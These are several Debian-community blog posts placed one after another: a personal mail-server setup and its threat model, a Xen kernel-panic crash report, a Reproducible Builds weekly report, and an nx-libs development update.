Further improvements Of course, this is all done on the commandline, but that is somewhat expected if you are already running Notmuch. Of course, it would be much easier to edit those filters through a GUI. Roundcube has a nice Sieve plugin, and Thunderbird also has such a plugin as well. Since Sieve is a standard, there's a bunch of clients available. All those need you to setup some sort of thing on the server, which I didn't bother doing yet. And of course, a key improvement would be to have Notmuch synchronize its state better with the mailboxes directly, instead of having the `notmuch-purge` hack above. Dovecot and Maildir formats support up to 26 flags, and there were discussions about using those flags to synchronize with notmuch tags so that multiple notmuch clients can see the same tags on different machines transparently. This, however, won't make Notmuch work on my phone or webmail or any other more generic client: for that, Sieve rules are still very useful. I still don't have webmail setup at all: so to read email, I need an actual client, which is currently my phone, which means I need to have Wifi access to read email. "Internet Caf s" or "this guy's computer" won't work as well, although I can always use `ssh` to login straight to the server and read mails with Mutt. I am also considering using X509 client certificates to authenticate to the mail server without a passphrase. This involves configuring Postfix, which seems simple enough. Dovecot's configuration seems a little more involved and less well documented. It seems that both [OfflimeIMAP][] and K-9 mail support client-side certs. OfflineIMAP prompts me for the password so it doesn't get leaked anywhere. I am a little concerned about building yet another CA, but I guess it would not be so hard... The server side of things needs more documenting, particularly the spam filters. This is currently spread around this wiki, mostly in configuration.

Security considerations The whole purpose of this was to make it easier to read my mail on other devices. This introduces a new vulnerability: someone may steal that device or compromise it to read my mail, impersonate me on different services and even get a shell on the remote server. Thanks to the two-factor authentication I setup on the server, I feel a little more confident that just getting the passphrase to the mail account isn't sufficient anymore in leveraging shell access. It also allows me to login with `ssh` on the server without trusting the machine too much, although that only goes so far... Of course, `sudo` is then out of the question and I must assume that everything I see is also seen by the attacker, which can also inject keystrokes and do all sorts of nasty things. Since I also connected my email account on my phone, someone could steal the phone and start impersonating me. The mitigation here is that there is a PIN for the screen lock, and the phone is encrypted. Encryption isn't so great when the passphrase is a PIN, but I'm working on having a better key that is required on reboot, and the phone shuts down after 5 failed attempts. This is documented in my phone setup. Client-side X509 certificates further mitigates those kind of compromises, as the X509 certificate won't give shell access. Basically, if the phone is lost, all hell breaks loose: I need to change the email password (or revoke the certificate), as I assume the account is about to be compromised. I do not trust Android security to give me protection indefinitely. In fact, one could argue that the phone is already compromised and putting the password there already enabled a possible state-sponsored attacker to hijack my email address. This is why I have an OpenPGP key on my laptop to authenticate myself for critical operations like code signatures. The risk of identity theft from the state is, after all, a tautology: the state is the primary owner of identities, some could say by definition. So if a state-sponsored attacker would like to masquerade as me, they could simply issue a passport under my name and join a OpenPGP key signing party, and we'd have other problems to deal with, namely, proper infiltration counter-measures and counter-snitching.

Some weeks ago I blogged about "Xen randomly crashing server". The problem back then was that I couldn't get any information why the server reboots. Using a netconsole was not possible, because netconsole refused to work with the bridge that is used for Xen networking. Luckily my colocation partner rrbone.net connected the second network port of my server to the network so that I could use eth1 instead of the bridged eth0 for netconsole. Today the server crashed several times and I was able to collect some more information than just the screenshots from IPMI/KVM console as shown in my last blog entry (full netconsole output is attached as a file):

May 12 11:56:39 31.172.31.251 [829681.040596] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 3.16.0-4-amd64 #1 Debian 3.16.7-ckt25-2
May 12 11:56:39 31.172.31.251 [829681.040647] Hardware name: Supermicro X9SRE/X9SRE-3F/X9SRi/X9SRi-3F/X9SRE/X9SRE-3F/X9SRi/X9SRi-3F, BIOS 3.0a 01/03/2014
May 12 11:56:39 31.172.31.251 [829681.040701] task: ffffffff8181a460 ti: ffffffff81800000 task.ti: ffffffff81800000
May 12 11:56:39 31.172.31.251 [829681.040749] RIP: e030:[<ffffffff812b7e56>]
May 12 11:56:39 31.172.31.251 [<ffffffff812b7e56>] memcpy+0x6/0x110
May 12 11:56:39 31.172.31.251 [829681.040802] RSP: e02b:ffff880280e03a58 EFLAGS: 00010286
May 12 11:56:39 31.172.31.251 [829681.040834] RAX: ffff88026eec9070 RBX: ffff88023c8f6b00 RCX: 00000000000000ee
May 12 11:56:39 31.172.31.251 [829681.040880] RDX: 00000000000004a0 RSI: ffff88006cd1f000 RDI: ffff88026eec9422
May 12 11:56:39 31.172.31.251 [829681.040927] RBP: ffff880280e03b38 R08: 00000000000006c0 R09: ffff88026eec9062
May 12 11:56:39 31.172.31.251 [829681.040973] R10: 0100000000000000 R11: 00000000af9a2116 R12: ffff88023f440d00
May 12 11:56:39 31.172.31.251 [829681.041020] R13: ffff88006cd1ec66 R14: ffff88025dcf1cc0 R15: 00000000000004a8
May 12 11:56:39 31.172.31.251 [829681.041075] FS: 0000000000000000(0000) GS:ffff880280e00000(0000) knlGS:ffff880280e00000
May 12 11:56:39 31.172.31.251 [829681.041124] CS: e033 DS: 0000 ES: 0000 CR0: 0000000080050033
May 12 11:56:39 31.172.31.251 [829681.041153] CR2: ffff88006cd1f000 CR3: 0000000271ae8000 CR4: 0000000000042660
May 12 11:56:39 31.172.31.251 [829681.041202] Stack:
May 12 11:56:39 31.172.31.251 [829681.041225] ffffffff814d38ff
May 12 11:56:39 31.172.31.251 ffff88025b5fa400
May 12 11:56:39 31.172.31.251 ffff880280e03aa8
May 12 11:56:39 31.172.31.251 9401294600a7012a
May 12 11:56:39 31.172.31.251
May 12 11:56:39 31.172.31.251 [829681.041287] 0100000000000000
May 12 11:56:39 31.172.31.251 ffffffff814a000a
May 12 11:56:39 31.172.31.251 000000008181a460
May 12 11:56:39 31.172.31.251 00000000000080fe
May 12 11:56:39 31.172.31.251
May 12 11:56:39 31.172.31.251 [829681.041346] 1ad902feff7ac40e
May 12 11:56:39 31.172.31.251 ffff88006c5fd980
May 12 11:56:39 31.172.31.251 ffff224afc3e1600
May 12 11:56:39 31.172.31.251 ffff88023f440d00
May 12 11:56:39 31.172.31.251
May 12 11:56:39 31.172.31.251 [829681.041407] Call Trace:
May 12 11:56:39 31.172.31.251 [829681.041435] <IRQ>
May 12 11:56:39 31.172.31.251
May 12 11:56:39 31.172.31.251 [829681.041441]
May 12 11:56:39 31.172.31.251 [<ffffffff814d38ff>] ? ndisc_send_redirect+0x3bf/0x410
May 12 11:56:39 31.172.31.251 [829681.041506] [<ffffffff814a000a>] ? ipmr_device_event+0x7a/0xd0
May 12 11:56:39 31.172.31.251 [829681.041548] [<ffffffff814bc74c>] ? ip6_forward+0x71c/0x850
May 12 11:56:39 31.172.31.251 [829681.041585] [<ffffffff814c9e54>] ? ip6_route_input+0xa4/0xd0
May 12 11:56:39 31.172.31.251 [829681.041621] [<ffffffff8141f1a3>] ? __netif_receive_skb_core+0x543/0x750
May 12 11:56:39 31.172.31.251 [829681.041729] [<ffffffff8141f42f>] ? netif_receive_skb_internal+0x1f/0x80
May 12 11:56:39 31.172.31.251 [829681.041771] [<ffffffffa0585eb2>] ? br_handle_frame_finish+0x1c2/0x3c0 [bridge]
May 12 11:56:39 31.172.31.251 [829681.041821] [<ffffffffa058c757>] ? br_nf_pre_routing_finish_ipv6+0xc7/0x160 [bridge]
May 12 11:56:39 31.172.31.251 [829681.041872] [<ffffffffa058d0e2>] ? br_nf_pre_routing+0x562/0x630 [bridge]
May 12 11:56:39 31.172.31.251 [829681.041907] [<ffffffffa0585cf0>] ? br_handle_local_finish+0x80/0x80 [bridge]
May 12 11:56:39 31.172.31.251 [829681.041955] [<ffffffff8144fb65>] ? nf_iterate+0x65/0xa0
May 12 11:56:39 31.172.31.251 [829681.041987] [<ffffffffa0585cf0>] ? br_handle_local_finish+0x80/0x80 [bridge]
May 12 11:56:39 31.172.31.251 [829681.042035] [<ffffffff8144fc16>] ? nf_hook_slow+0x76/0x130
May 12 11:56:39 31.172.31.251 [829681.042067] [<ffffffffa0585cf0>] ? br_handle_local_finish+0x80/0x80 [bridge]
May 12 11:56:39 31.172.31.251 [829681.042116] [<ffffffffa0586220>] ? br_handle_frame+0x170/0x240 [bridge]
May 12 11:56:39 31.172.31.251 [829681.042148] [<ffffffff8141ee24>] ? __netif_receive_skb_core+0x1c4/0x750
May 12 11:56:39 31.172.31.251 [829681.042185] [<ffffffff81009f9c>] ? xen_clocksource_get_cycles+0x1c/0x20
May 12 11:56:39 31.172.31.251 [829681.042217] [<ffffffff8141f42f>] ? netif_receive_skb_internal+0x1f/0x80
May 12 11:56:39 31.172.31.251 [829681.042251] [<ffffffffa063f50f>] ? xenvif_tx_action+0x49f/0x920 [xen_netback]
May 12 11:56:39 31.172.31.251 [829681.042299] [<ffffffffa06422f8>] ? xenvif_poll+0x28/0x70 [xen_netback]
May 12 11:56:39 31.172.31.251 [829681.042331] [<ffffffff8141f7b0>] ? net_rx_action+0x140/0x240
May 12 11:56:39 31.172.31.251 [829681.042367] [<ffffffff8106c6a1>] ? __do_softirq+0xf1/0x290
May 12 11:56:39 31.172.31.251 [829681.042397] [<ffffffff8106ca75>] ? irq_exit+0x95/0xa0
May 12 11:56:39 31.172.31.251 [829681.042432] [<ffffffff8135a285>] ? xen_evtchn_do_upcall+0x35/0x50
May 12 11:56:39 31.172.31.251 [829681.042469] [<ffffffff8151669e>] ? xen_do_hypervisor_callback+0x1e/0x30
May 12 11:56:39 31.172.31.251 [829681.042499] <EOI>
May 12 11:56:39 31.172.31.251
May 12 11:56:39 31.172.31.251 [829681.042506]
May 12 11:56:39 31.172.31.251 [<ffffffff810013aa>] ? xen_hypercall_sched_op+0xa/0x20
May 12 11:56:39 31.172.31.251 [829681.042561] [<ffffffff810013aa>] ? xen_hypercall_sched_op+0xa/0x20
May 12 11:56:39 31.172.31.251 [829681.042592] [<ffffffff81009e7c>] ? xen_safe_halt+0xc/0x20
May 12 11:56:39 31.172.31.251 [829681.042627] [<ffffffff8101c8c9>] ? default_idle+0x19/0xb0
May 12 11:56:39 31.172.31.251 [829681.042666] [<ffffffff810a83e0>] ? cpu_startup_entry+0x340/0x400
May 12 11:56:39 31.172.31.251 [829681.042705] [<ffffffff81903076>] ? start_kernel+0x497/0x4a2
May 12 11:56:39 31.172.31.251 [829681.042735] [<ffffffff81902a04>] ? set_init_arg+0x4e/0x4e
May 12 11:56:39 31.172.31.251 [829681.042767] [<ffffffff81904f69>] ? xen_start_kernel+0x569/0x573
May 12 11:56:39 31.172.31.251 [829681.042797] Code:
May 12 11:56:39 31.172.31.251 <f3>
May 12 11:56:39 31.172.31.251
May 12 11:56:39 31.172.31.251 [829681.043113] RIP
May 12 11:56:39 31.172.31.251 [<ffffffff812b7e56>] memcpy+0x6/0x110
May 12 11:56:39 31.172.31.251 [829681.043145] RSP <ffff880280e03a58>
May 12 11:56:39 31.172.31.251 [829681.043170] CR2: ffff88006cd1f000
May 12 11:56:39 31.172.31.251 [829681.043488] ---[ end trace 1838cb62fe32daad ]---
May 12 11:56:39 31.172.31.251 [829681.048905] Kernel panic - not syncing: Fatal exception in interrupt
May 12 11:56:39 31.172.31.251 [829681.048978] Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff)

I'm not that good at reading this kind of output, but to me it seems that ndisc_send_redirect is at fault. When googling for "ndisc_send_redirect" you can find a patch on lkml.org and Debian bug #804079, both seem to be related to IPv6. When looking at the linux kernel source mentioned in the lkml patch I see that this patch is already applied (line 1510):

if (ha)
ndisc_fill_addr_option(buff, ND_OPT_TARGET_LL_ADDR, ha);

So, when the patch was intended to prevent "leading to data corruption or in the worst case a panic when the skb_put failed" it does not help in my case or in the case of #804079. Any tips are appreciated! PS: I'll contribute to that bug in the BTS, of course!

Attachment	Size
syslog-xen-crash.txt	24.27 KB

Kategorie:

Tags:

What happened in the Reproducible Builds effort between May 1st and May 7th 2016: Media coverage There has been a surprising tweet last week: "Props to @FiloSottile for his nifty gvt golang tool. We're using it to get reproducible builds for a Zika & West Nile monitoring project." and to our surprise Kenn confirmed privately that he indeed meant "reproducible builds" as in "bit by bit identical builds". Wow. We're looking forward to learn more details about this; for now we just know that they are doing this for software quality reasons basically. Two of the four GSoC and Outreachy participants for Reproducible builds posted their introductions to Planet Debian:

Toolchain fixes and other upstream developments dpkg 1.18.5 was uploaded fixing two bugs relevant to us:

#719845 (make the file order within the data,control .tar.gz .deb members deterministic)
#819194 (add -fdebug-prefix-map to the compilers options)

This upload made it necessary to rebase our dpkg on the version on sid again, which Niko Tyni and Lunar promptly did. Then a few days later 1.18.6 was released to fix a regression in the previous upload, and Niko promptly updated our patched version again. Following this Niko Tyni found #823428: "dpkg: many packages affected by dpkg-source: error: source package uses only weak checksums". Alexis Bienven e worked on tex related packages and SOURCE_DATE_EPOCH:

Alexis uploaded texlive-bin to our repo improving the existing patches.
pdftex upstream discussion by Alexis Bienven e began at tex-k mailing list to make \today honour SOURCE_DATE_EPOCH. Upstream already commited enhanced versions of the proposed patches.
Similar discussion on the luatex side at luatex mailing list. Upstream is working on it, and already committed some changes.

Emmanuel Bourg uploaded jflex/1.4.3+dfsg-2, which removes timestamps from generated files. Packages fixed The following 285 packages have become reproducible due to changes in their build dependencies (mostly from GCC honouring SOURCE_DATE_EPOCH, see the previous week report): 0ad abiword abcm2ps acedb acpica-unix actiona alliance amarok amideco amsynth anjuta aolserver4-nsmysql aolserver4-nsopenssl aolserver4-nssqlite3 apbs aqsis aria2 ascd ascii2binary atheme-services audacity autodocksuite avis awardeco bacula ballerburg bb berusky berusky2 bindechexascii binkd boinc boost1.58 boost1.60 bwctl cairo-dock cd-hit cenon.app chipw ckermit clp clustalo cmatrix coinor-cbc commons-pool cppformat crashmail crrcsim csvimp cyphesis-cpp dact dar darcs darkradiant dcap dia distcc dolphin-emu drumkv1 dtach dune-localfunctions dvbsnoop dvbstreamer eclib ed2k-hash edfbrowser efax-gtk efax exonerate f-irc fakepop fbb filezilla fityk flasm flightgear fluxbox fmit fossil freedink-dfarc freehdl freemedforms-project freeplayer freeradius fxload gdb-arm-none-eabi geany-plugins geany geda-gaf gfm gif2png giflib gifticlib glaurung glusterfs gnokii gnubiff gnugk goaccess gocr goldencheetah gom gopchop gosmore gpsim gputils grcompiler grisbi gtkpod gvpe hardlink haskell-github hashrat hatari herculesstudio hpcc hypre i2util incron infiniband-diags infon ips iptotal ipv6calc iqtree jabber-muc jama jamnntpd janino jcharts joy2key jpilot jumpnbump jvim kanatest kbuild kchmviewer konclude krename kscope kvpnc latexdiff lcrack leocad libace-perl libcaca libcgicc libdap libdbi-drivers libewf libjlayer-java libkcompactdisc liblscp libmp3spi-java libpwiz librecad libspin-java libuninum libzypp lightdm-gtk-greeter lighttpd linpac lookup lz4 lzop maitreya meshlab mgetty mhwaveedit minbif minc-tools moc mrtrix mscompress msort mudlet multiwatch mysecureshell nifticlib nkf noblenote nqc numactl numad octave-optim omega-rpg open-cobol openmama openmprtl openrpt opensm openvpn openvswitch owx pads parsinsert pcb pd-hcs pd-hexloader pd-hid pd-libdir pear-channels pgn-extract phnxdeco php-amqp php-apcu-bc php-apcu php-solr pidgin-librvp plan plymouth pnscan pocketsphinx polygraph portaudio19 postbooks-updater postbooks powertop previsat progressivemauve puredata-import pycurl qjackctl qmidinet qsampler qsopt-ex qsynth qtractor quassel quelcom quickplot qxgedit ratpoison rlpr robojournal samplv1 sanlock saods9 schism scorched3d scummvm-tools sdlbasic sgrep simh sinfo sip-tester sludge sniffit sox spd speex stimfit swarm-cluster synfig synthv1 syslog-ng tart tessa theseus thunar-vcs-plugin ticcutils tickr tilp2 timbl timblserver tkgate transtermhp tstools tvoe ucarp ultracopier undbx uni2ascii uniutils universalindentgui util-vserver uudeview vfu virtualjaguar vmpk voms voxbo vpcs wipe x264 xcfa xfrisk xmorph xmount xyscan yacas yasm z88dk zeal zsync zynaddsubfx Last week the 1000th bug usertagged "reproducible" was fixed! This means roughly 2 bugs per day since 2015-01-01. Kudos and huge thanks to everyone involved! Please also note: FTBFS packages have not been counted here and there are still 600 open bugs with reproducible patches provided. Please help bringing that number down to 0! The following packages have become reproducible after being fixed:

crawl/2:0.18.0-1 by Adam Borowski, original patch by Alexis Bienven e.
eigenbase-resgen/1.3.0.13768-3 by Emmanuel Bourg.
fpga-icestorm/0~20160218gitf2b2549-2 by Ruben Undheim, original patch by Daniel Shahaf.
gap/4r8p3-3 by Bill Allombert, original patch by Jerome Benoit.
libksba/1.3.4-1 by Andreas Metzler.
libusb/2:0.1.12-29 by Aurelien Jarno, original patch by Daniel Shahaf.
milkytracker/0.90.86+dfsg-1 by James Cowgill.
mp4h/1.3.1-15 by Axel Beckert.
rdtool/0.6.38-4 by Christian Hofstaedtler, original patch by Alexis Bienven e.
sympow/1.023-7 by Jerome Benoit.

Some uploads have fixed some reproducibility issues, but not all of them:

freefem++/3.46+dfsg1-2 by Dimitrios Eftaxiopoulosis, original patch by Alexis Bienven e.
jaligner/1.0+dfsg-2 by Michael R. Crusoe.
keyutils/1.5.9-9 by Christian Kastner.
shotwell/0.22.1-1 by J rg Frings-F rst.

Uploads which fix reproducibility issues, but currently FTBFS:

emoslib/2:4.4.1-1 by Alastair McKinstry, original patch by boyska.

Patches submitted that have not made their way to the archive yet:

#823174 against ros-pluginlib by Daniel Shahaf: use printf instead of echo to fix implementation-specific behavior.
#823239 against gspiceui by Alexis Bienven e: sort list of object files for linking binary.
#823241 against unhide by Alexis Bienven e: sort list of source files passed to compiler.
#823393 against kdbg by Alexis Bienven e: fix changelog encoding and call grep in text mode.
#823452 against khronos-opengl-man4 by Daniel Shahaf: sort file lists deterministically.

Package reviews 54 reviews have been added, 6 have been updated and 44 have been removed in this week. 18 FTBFS bugs have been reported by Chris Lamb, James Cowgill and Niko Tyni. diffoscope development Thanks to Mattia, diffoscope 52~bpo8+1 is available in jessie-backports now. tests.reproducible-builds.org

All packages from all tested suites have finally been built on i386.
Due to GCC supporting SOURCE_DATE_EPOCH sid/armhf has finally reached 20k reproducible packages and sid/amd64 has even reached 21k reproducible packages. (These numbers are about our test setup. The numbers for the Debian archive are still all 0. dpkg and dak need to be fixed to get the numbers above 0.)
IRC notifications for non-Debian related jenkins job results go to #reproducible-builds now, while Debian related notifications stay on #debian-reproducible. (h01ger)
profitbricks-build4-amd64 has been fully set up now and is running 398 days in the future. Next: update coreboot/OpenWrt/Fedora/Archlinux/FreeBSD/NetBSD scripts to use it. Help (in form of patches to existing shell scripts) very much welcome! (Other help is much welcome (and needed) too, but some things might take longer to merge or explain )

Misc. This week's edition was written by Reiner Herrmann, Holger Levsen and Mattia Rizzolo and reviewed by a bunch of Reproducible builds folks on IRC. Mattia also wrote a small ikiwiki macro for this blog to ease linking reproducible issues, packages in the package tracker and bugs in the Debian BTS.

This is to give a comprehensive overview on the recent progress made in NXv3 (aka nx-libs) development. The upstream sources of nx-libs can be found at / viewed on / cloned from Github:
https://github.com/ArcticaProject/nx-libs A great portion of the current work is sponsored by the Qindel Group [1] in Spain (QINDEL FORMACI N Y SERVICIOS, S.L.). Thanks for making this possible. Planned release date: 2nd July, 2016 We aim at releasing a completely tidied up nx-libs code tree versioned 3.6.0 on July 2nd, 2016. There is still a whole bunch of work to do for this, but I am positive that we can make this release date. Goals of our Efforts There are basically two major goals for spending a considerable amount of time, money and energy on NXv3 hacking:

make this beast long-term maintainable
make it work with latest X11 desktop environments and applications

The efforts undertaken always have the various existing use cases in mind (esp. the framework of the coming-up Arctica Project, TheQVD and X2Go). Overview on Recent Development Progress General Code Cleanups Making this beast maintainable means first of all: identifying code redundancies, unused code passages, etc. and remove them. This is where we came from (NoMachine's NX 3.5.x, including nxcomp, nxcompext, nxcompshad, nx-X11 and nxagent): 1,757,743 lines of C/C++ code.

[mike@minobo nx-libs.35 (3.5.0.x)]$ cloc --match-f '.*\.(c cpp h)$' .
    5624 text files.
    5614 unique files.                                          
    2701 files ignored.
http://cloc.sourceforge.net v 1.60  T=18.59 s (302.0 files/s, 132847.4 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
C                             3134         231180         252893        1326393
C/C++ Header                  2274          78062         116132         349743
C++                            206          20037          13312          81607
-------------------------------------------------------------------------------
SUM:                          5614         329279         382337        1757743
-------------------------------------------------------------------------------

On the current 3.6.x branch of nx-libs (at commit 6c6b6b9), this is where we are now: 662,635 lines of C/C++ code, amount of code reduced to a third of the original code lines.

[mike@minobo nx-libs (3.6.x)]$ cloc --match-f '.*\.(c cpp h)' .
    2012 text files.
    2011 unique files.                                          
    1898 files ignored.
http://cloc.sourceforge.net v 1.60  T=5.63 s (341.5 files/s, 161351.5 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
C                             1015          74605          81625         463244
C/C++ Header                   785          26992          34354         138063
C++                            122          16984          10804          61328
-------------------------------------------------------------------------------
SUM:                          1922         118581         126783         662635
-------------------------------------------------------------------------------

The latest development branch currently has these statistics: 619,353 lines of C/C++ code, another 40,000 lines could be dropped.

[mike@minobo nx-libs (pr/libnx-xext-drop-unused-extensions)]$ cloc --match-f '.*\.(c cpp h)' .
    1932 text files.
    1931 unique files.                                          
    1898 files ignored.
http://cloc.sourceforge.net v 1.60  T=5.66 s (325.4 files/s, 150598.1 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
C                              983          69474          77186         426564
C/C++ Header                   738          25616          33048         131599
C++                            121          16984          10802          61190
-------------------------------------------------------------------------------
SUM:                          1842         112074         121036         619353
-------------------------------------------------------------------------------

Dropping various libNX_X* shared libraries (and using X.org shared client libraries instead) At first, various bundled libraries could be dropped from the nx-X11 code tree. Secondly, several of the bundled X.org libraries could be dropped, because we managed to build against those libraries as provided system-wide. Then, and this undertaking is much trickier, we could drop nearly all Xlib extension libraries that are used by nxagent with its role of being an X11 client. We could sucessfully drop these Xlib extension libraries from nx-X11, because we managed to build nxagent against the matching libraries in X.org: libNX_Xdmcp, libNX_Xfixes, libNX_XComposite, libNX_Xdamage, libNX_Xtst, libNX_Xinerama, libNX_Xfont, libNX_xkbui, and various others. All these droppings happened without a loss of functionality. However, some shared X client libraries are not easy to remove without loss of functionality, or rather not removable at all. Dropping libNX_Xrender We recently dropped libNX_Xrender [2] and now build nxagent against X.org's libXrender. However, this cost us a compression feature in NX. The libNX_Xrender code has passages that do zero padding of the unused memory portions in non-32bit-depth glyphs (the NX_RENDER_CLEANUP feature). However, we have hope for being able to reintroduce that feature again later, but current efforts [3] still fail at run-time. Dropping libNX_Xext is not possible... ...the libNX_Xext / Xserver Xext code has been cleaned up instead. Quite an amount of research and testing has been spent on removing the libNX_Xext library from the build workflow of nxagent. However, it seems that building against X.org's libXext will require us to update the Xext part of the nxagent Xserver at the same time. While taking this deep look into Xext code, we dropped various Xext extensions from the nx-X11 Xserver code. The extensions that got dropped [5] are all extensions that already have been dropped from X.org's Xserver code, as well. Further investigation, however, showed, that actually the only used client side extension code from libNX_Xext is the XShape extension. Thus, all other client side extension got dropped now in a very recent pull request [4]. Dropping libNX_X11 not easy, research summary given here For the sake of dropping the Xlib library bundled with nx-libs, we have attempted at writing a shared library called libNX_Xproxy. This library is supposed to contain a subset of the NXtrans related Xlib code that NoMachine patched into X.org's libX11 (and libxtrans). Results of this undertaking [6] so far:

We managed to build nxagent against Xlib from X.org
Local nxagent sessions (using the normal X11 transport) worked and seemed to perform better than sessions running under the original Xlib library (libNX_X11) bundled with nx-libs.
NXtrans support in libNX_Xproxy is half implemented but far from being finished, yet. The referenced branch [6] is a work-in-progress branch. Don't expect it to work. Expect force-pushes no that branch, too, please.

Over the weekend, I thought this all through once more and I am pretty sure right now, that we can actually make libNX_Xproxy work and drop all of libNX_X11 from nx-libs soon. Although we have to port (i.e. copy) various functions related to the NX transport from libNX_X11 into libNX_Xproxy, this change will allow us to drop all Xlib drawing routines and use those provided by X.org's Xlib shared library directly. Composite extension backport in nxagent to version 0.4 Mihai Moldovan looked at what it needs to make the Composite extension functional in nxagent. Unfortunately, the exact answer cannot be given, yet. As a start, Mihai backported latest Composite extension (v0.4) code from X.org's Xserver into the nxagent Xserver [7]. The currently shipped Composite extension version in nxagent is v0.2. Work on the NX Compression shared library (aka nxcomp v3) Fernando Carvajal and Salvador Fandi o from the Qindel Group [1] filed three pull requests against the nxcomp part of nx-libs recently, two of them have been code cleanups (done by Fernando), the third one is a feature enhancement regarding channels in nxcomp (provided by Salva). Protocol clean-up: drop pre-3.5 support With the release of nx-libs 3.6.x, we will drop support for nxcomp versions earlier than 3.5. Thus, if you are still on nxcomp 3.4, be prepared for upgrading at least to version 3.5.x. The code removal had been issued as pull request #111 ("Remove compatibility code for nxcomp before 3.5.0") [8]. The PR has already been reviewed and merged. Fernando filed another code cleanup PR (#119 [9]) against nx-libs that also already got merged into the 3.6.x branch. UNIX Socket Support for Channels The nxcomp library (and thus, nxproxy) provides a feature called "channels". Channels in nxcomp can be used for forwarding traffic between NX client side and the NX server side (along the graphical X11 transport that nxcomp is designed for). Until version 3.5.x, nxcomp was only able to use local TCP sockets for providing / connecting to channel endpoints. We consider local TCP sockets as insecure and aim at adding UNIX file socket support to nxcomp whereever a connection is established. Salva provided a patch against nxcomp that provides UNIX socket support to channel endpoints. The initial use case for this patch is: connect to client side pulseaudio socket file and avoid enabling the TCP listening socket in pulseaudio. The traffic then is channeled to the server side, so that pulse clients can connect to a UNIX socket file rather than to a local TCP port. The channel support patch has already been reviewed and merged into the 3.6.x branch of nx-libs. Rebasing nxagent against latest X.org Ulrich Sibiller spent a considerable amount of time and energy on providing a build chain that allows building nxagent against a modularized X.org 7.0 (rather than against the monolithic build tree of X.org 6.9, like we still do in nx-libs 3.6.x). We plan to adapt and minimize this build workflow for nx-libs 3.7.x (scheduled for summer 2017). A short howto that shows how to build nxagent with that new workflow will be posted on this blog within the next days. So stay tuned. Further work accomplished Quite a lot of code cleanup PRs have been filed by myself against nx-libs. Most of them target at removal of unnecessary code from the nx-X11 Xserver code base and the nxagent DDX:

Amend all issues generating compiler warnings in progams/Xserver/hw/nxagent/. (PR #102 [10], not yet merged).
nx-X11's Xserver: Drop outdated Xserver extensions. (PR #106 [11], not yet merged).
nxagent: drop duplicate Xserver code and include original Xserver code in nxagent code files. (PR #120 [12], not yet merged).
libNX_Xext: Drop unused extensions. (PR #121 [4], not yet merged).

The third one (PR #120) in the list requires some detailled explanation: We discovered that nxagent ships overrides some symbols from the original Xserver code base. These overrides are induced by copies of some files from some Xserver sub-directory placed into the hw/nxagent/ DDX path. All those files' names match the pattern NX*.c. These copies of code are done in a way that the C compiler suppresses throwing its 'symbol "" redefined: first defined in ""; redefined in ""' errors. The approach taken, however, requires to have quite a few 10.000 lines of redundant code in hw/nxagent/NX*.c that also gets shipped in some Xserver sub-directory (mostly dix/ and render/). With pull request #120, we have identified all code passages in hw/nxagent/NX*.c that must be considered as NX'ish. We differentiated the NX'ish functions from functions that never got changed by NoMachine when developing nxagent. I then came up with four different approaches ([13,14,15,16]) of dropping redundant code from those hw/nxagent/NX*.c files. We (Mihai Moldovan and myself) discussed the various approaches and favoured the disable-Xserver-code-and-include-into-NX*.c variant [14] over the others for the following reasons:

It requires the least invasive change in Xserver code files.
It pulls in Xserver code (MIT/X11) into nxagent code (GPL-2) at build time (vs. [13]).
It does not require weakening symbols, static symbols can stay static symbols [15].
We don't have to use the hacky interception approach as shown in [16].

In the long run, the Xserver portion of the patches provided via this pull request #120 are required to be upstreamed into X.org's Xserver. The discussion around this will be started when we fully dive into rebasing nxagent's Xserver code base against latest X.org Xserver. Tasks ahead before the 3.6.x Release Various tasks we face before 3.6.x can be released. Here is a probably incomplete list:

Drop libNX_X11 from nx-libs (2nd attempt)
Drop libNX_Xau from nx-libs
Fully fix the Composite extension in nxagent (hopefully)
Several QA pull requests to close several of the open issues
Upgrade XRandR extension in the nxagent Xserver to 1.4
Attempt fixing KDE5 launch-up inside nxagent and recent GNOME application failures (due to missing Xinput2 extension in nxagent)
More UNIX file socket support in nxcomp
Fix reparenting in nxagent
Make nxagent run smoothly in x11vnc when suspended

Tasks ahead after the 3.6.x Release (i.e., for 3.7.x) Here is an even rougher and probably highly incomplete list for tasks after the 3.6.x release:

Rename nx-libs to a new name that does not remind us of the original authoring company (NoMachine) that much.
Generalize the channel support in nxcomp (make it possible to fire-up an arbitrary amount of channels with TCP and/or UNIX file socket endpoints.
Proceed with the X.org Rebasing Effort.

Credits Some people have to be named here that give their heart and love to this project. Thank you guys for supporting the development efforts around nx-libs and the Arctica Project: Thanks to Nico Arenas Alonso from and on behalf of the Qindel Group for coordinating the current funding project around nx-libs. Thanks to Ulrich Sibiller for giving a great amount of spare time to working on the nxagent-rebase-against-X.org effort. Thanks to Mihai Moldovan for doing endless code reviews and being available for contracted work via BAUR-ITCS UG [17] on NXv3, as well. Thanks to Mario Becroft for providing a patch that allows us to hook into nxagent X11 sessions with VNC and have the session fully available over VNC while the NX transport is in suspended state. Also Mario is pouring some fancy UDP ideas into the re-invention of remote desktop computing process performed in the Arctica Project. Mario has been an NX supporter for years, I am glad to have him still around after so many years (although he was close to abandoning NX usage at least once). Thanks to Fernando Carvajal from Qindel (until April 2016) for cleaning up nxcomp code. Thanks to Orion Poplawski from the Fedora Project for working on the first bundled libraries removal patches and being a resource on RPM packaging. Thanks to my friend Lee for working behind the scenes on the Arctica Core code and constantly pouring various of his ideas into my head. Thanks for regularly reminding me on benchmarking things.
Folks, thanks to all of you for all your various efforts on this huge beast of software. You are a great resource of expertise and it's a pleasure and honour working with you all.
New Faces Last but not least, I'd like to let everyone know that the Qindel Group sponsors another developer joining in on NXv3 development: Vadim Troshchinskiy (aka vatral on Github). Vadim has worked on NXv3 before and we are looking forward to having him and his skills in the team soon (probably end of May 2016). Welcome on board of the team, Vadim.
[1] http://www.qindel.com
[2] https://github.com/ArcticaProject/nx-libs/pull/93
[3] https://github.com/sunweaver/nx-libs/commit/be41bde7efc46582b442706dfb85...
[4] https://github.com/ArcticaProject/nx-libs/pull/121
[5] https://github.com/ArcticaProject/nx-libs/pull/106
